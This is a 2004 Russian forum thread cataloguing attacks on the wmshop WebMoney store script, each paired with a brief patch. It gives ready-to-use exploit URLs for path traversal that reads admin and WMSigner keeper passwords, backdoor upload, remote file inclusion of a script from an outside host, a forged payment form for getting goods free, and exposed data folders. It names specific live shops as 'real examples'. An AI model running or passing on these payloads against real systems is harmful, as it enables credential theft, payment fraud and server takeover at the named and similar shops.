Взлом wmshop

Discussion in 'Уязвимости' started by Xalegi, 29 Nov 2004.

Thread Status:
Not open for further replies.
  1. Xalegi

    Xalegi Elder - Старейшина

    Joined:
    24 Nov 2004
    Messages:
    109
    Likes Received:
    4
    Reputations:
    6
    Взлом и защита магазинов типа wmshop
    Описание уязвимостей с реальными примерами и рекомендациями по их устранению.
    Эта информация предназначена владельцам магазинов для защиты магазина от взломщиков.


    Получаем пароль админа (версии 1.* - 2.*).http://адрес_магазина/buy.php?tovid=../users/admin пароль админа в строке Продавец:
    http://адрес_магазина/buy.phtml?tovid=../users/admin пароль админа в строке Продавец:

    Реальные примеры:
    http://snoopy.irk.ru/buy.phtml?tovid=../users/admin

    Устранение уязвимости:
    в файлы buy.php, buy_r.php или buy.phtml добавить строчки:
    <?
    $tovid = str_replace('..',"", $tovid);
    $tovid = str_replace('.',"", $tovid);
    $tovid = str_replace('/',"", $tovid);
    ?>

    --------------------------------------------------------------------------------
    Получаем пароль от кипера (версии 1.* - 2.*). Вернутся к оглавлению
    http://адрес_магазина/seller.php?name=../WMSigner.ini пароль от wmid в строке Организация:
    http://адрес_магазина/seller.phtml?name=../WMSigner.ini пароль от wmid в строке Организация:

    Реальные примеры:
    http://snoopy.irk.ru/seller.phtml?name=../WMSigner.ini

    Устранение уязвимости:
    в файлы seller.php, seller.phtml добавить строчки:
    <?
    $name = str_replace('..',"", $name);
    $name = str_replace('.',"", $name);
    $name = str_replace('/',"", $name);
    ?>

    --------------------------------------------------------------------------------
    Подмена $fil (получаем пароль админа) (версии 1.* - 2.*). Вернутся к оглавлению
    купив дешёвый товар открываем html код странички, где написанно "Скачка будет через 3 секунды"
    меняем getting.php?fil=files/1001.0&filname=test.txt&crc=5e8bd03ff47ff9ac63cbd9284e2a0bea-1030
    на getting.php?fil=users/admin&filname=test.txt&crc=5e8bd03ff47ff9ac63cbd9284e2a0bea-1030 и скачиваем пароль админа

    Устранение уязвимости:
    в файл getting.php вставить:
    $fil = str_replace('..',"", $fil);
    $fil = str_replace('users/',"", $fil);

    --------------------------------------------------------------------------------
    Закачка бекдора (все версии). Вернутся к оглавлению
    зарегистрировавшись продавцом вы можете закачать php скрипт и купить его у себя
    если нет защиты он запустится на сервере (в папке /door/ 2 бекдора для тестирования).

    Реальные примеры:
    http://syper-pypershop.com.ru/temp/tree.php
    http://syper-pypershop.com.ru/temp/nfm.php

    --------------------------------------------------------------------------------
    Запуск бекдора без закачки (все версии). набрав адрес http://адрес_магазина/tx/main.php?page=адрес_вредоносного_скрипта.txt
    вам возможно удастся его запустить на сервере.

    Реальные примеры:
    http://syper-pypershop.com.ru/tx/main.php?page=http://manualshop.by.ru/tree.php.txt
    http://transmitter.com.ru/tx/main.php?page=http://manualshop.by.ru/tree.php.txt

    Устранение уязвимости:
    в файл main.php добавить:
    <?
    $page = str_replace('..',"", $page);
    $page = str_replace('://',"", $page);
    ?>
    в папке /tx/ создать .htaccess с таким текстом:
    Deny from all

    --------------------------------------------------------------------------------
    Встроеные бекдоры (wmsp). Вернутся к оглавлению
    Если вы скачали или купили магазин в виде файла wmsp.rar знайте там минимум 2 бекдора
    http://адрес_магазина/tovar.php
    http://адрес_магазина/history/history.php

    Устранение уязвимости:
    Сотрите файлы tovar.php и /history/history.php

    --------------------------------------------------------------------------------
    Дешифровка md5 (все версии). Вернутся к оглавлению
    Сейчас появилось много програм для дешифровки md5, конечно дешифровать md5 долго,
    но зная часть пароля значительно проще (усложним жизнь взломщикам)

    Устранение уязвимости:
    в /tx/buy.php заменить $crc=md5($ar[9]."adminadmin".$ftxt); на $crc=md5($ar[9].$serv_const_forum_pass.$ftxt);
    в getfile.php заменить $crc=md5($ar[9]."adminadmin".$ftxt); на $crc=md5($ar[9].$serv_const_forum_pass.$ftxt);
    в getting.php заменить $tovidcrc=md5($filname."adminadmin".$fil); на $crc=md5($ar[9].$serv_const_forum_pass.$ftxt);
    в success2.php заменить $dsc1=md5("$shopcnt:ugla87m"); на $dsc1=md5("$shopcnt:$serv_const_forum_pass");
    в my_stat.php заменить $dsc=md5("$shopcnt:ugla87m"); на $dsc=md5("$shopcnt:$serv_const_forum_pass");
    в buy_r_pay.php заменить ("$tovid:$serv_const_shopwmz:$ftov[1]:ugla87m") на ("$tovid:$serv_const_shopwmz:$ftov[1]:$serv_const_forum_pass")
    в success.php заменить ("$tovid:$serv_const_shopwmz:chesisbox") на ("$tovid:$serv_const_forum_pass:chesisbox")
    в buy_r_result.php заменить $rc = md5("$fcn_pos:macadam"); на $rc = md5("$fcn_pos:$serv_const_forum_pass");
    в buy_r_success2.php заменить $rc = md5("$fcn_pos:macadam"); на $rc = md5("$fcn_pos:$serv_const_forum_pass");

    --------------------------------------------------------------------------------
    Уязвимость папки /users/ (все версии). Вернутся к оглавлению
    набрав адрес http://адрес_магазина/users/admin можно увидеть пароль администратора в верхней строчке

    Реальные примеры:
    http://magazin.rugold.com/users/admin
    http://symma.dax.ru/users/admin

    Устранение уязвимости:
    в папке /users/ создать .htaccess с таким текстом:
    Deny from all

    --------------------------------------------------------------------------------
    Уязвимость папки /files/ (все версии). Вернутся к оглавлению
    набрав адрес http://адрес_магазина/files/номер_товара.0 возможно вам удастся его скачать.

    Реальные примеры:
    http://shop.tula.ru/files/1019.0
    http://syper-pypershop.com.ru/files/1048.0

    Устранение уязвимости:
    в папке /files/ создать .htaccess с таким текстом:
    Deny from all

    --------------------------------------------------------------------------------
    Уязвимость папки /mail/ (все версии). Вернутся к оглавлению
    набрав адрес http://адрес_магазина/mail/admin возможно вам удастся прочитать письма адресованные админу.

    Реальные примеры:
    http://symma.dax.ru/mail/admin
    http://magazin.rugold.com/mail/admin

    Устранение уязвимости:
    в папке /mail/ создать .htaccess с таким текстом:
    Deny from all

    --------------------------------------------------------------------------------
    Уязвимость папки /history/ (все версии). Вернутся к оглавлению
    набрав адрес http://адрес_магазина/history/admin возможно вам удастся узнать сколько заработал админ.

    Реальные примеры:
    http://symma.dax.ru/history/admin
    http://magazin.rugold.com/history/admin

    Устранение уязвимости:
    в папке /history/ создать .htaccess с таким текстом:
    Deny from all

    --------------------------------------------------------------------------------
    Уязвимость папки /temp/ (все версии). Вернутся к оглавлению
    набрав адрес http://адрес_магазина/temp/ можете скачать купленные другими людьми товары.

    Реальные примеры:
    http://syper-pypershop.com.ru/temp/

    Устранение уязвимости:
    в папке /temp/ создать пустой файл index.php

    --------------------------------------------------------------------------------
    Уязвимость папки /tx/ (получаем пароль админа) (все версии). Вернутся к оглавлению
    набрав адрес http://адрес_магазина/tx/main.php?page=../users/admin узнаете пароль админа

    Реальные примеры:
    http://syper-pypershop.com.ru/tx/main.php?page=../users/admin
    http://transmitter.com.ru/tx/main.php?page=../users/admin

    Устранение уязвимости:
    в файл main.php добавить:
    <?
    $page = str_replace('..',"", $page);
    $page = str_replace('://',"", $page);
    ?>
    в папке /tx/ создать .htaccess с таким текстом:
    Deny from all

    --------------------------------------------------------------------------------
    Магазины с оплатой через ROBOX. информацию предоставил Deadman_n Вернутся к оглавлению
    создаётся страничка с таким кодом:
    <form action='http://адрес_магазина/success.php?G=0'>
    <input name='wmid' value='хакер'>
    <input name='pci_wmtid' value='хакер'>
    <input name='pci_pursedest' value='кошелёк_магазина'>
    <input name='pci_pursesrc' value='z111111111111'>
    <input name='pci_amount' value='цена_товара'>
    <input name='pci_desc' value='служебные_отметки(берём из html кода страницы с описанием товара)'>
    <input name='pci_datecrt' value='20040418 21:57:03'>
    <input name='pci_marker' value=''>
    <input name='pci_mode' value=''>
    <input ID=button TYPE=submit VALUE="Хакаем и получаем!">
    Выглядит это так:



    Реальные примеры:
    пока непробовал, но уверен что должно получится.

    Устранение уязвимости:
    перейти на новую версию скрипта (версия 3.5 или выше, купить можно тут)


    --------------------------------------------------------------------------------
    Доступность .inc файлов (все версии). Вернутся к оглавлению
    Получив доступ к файлам shopcounts.inc, shopcounts1.inc и shopcounts2.inc можно получить товары бесплатно.

    Реальные примеры:
    http://payon.h12.ru/shopcounts.inc

    Устранение уязвимости:
    добавить в .htaccess в корневой папке такой текст:
    <Files ~ "\\.inc">
    Order allow,deny
    Deny from all
    </Files>

    --------------------------------------------------------------------------------
    (c) wmshop.com.ru За применение информации не по назначению автор ответственности не несёт
     
    3 people like this.
Thread Status:
Not open for further replies.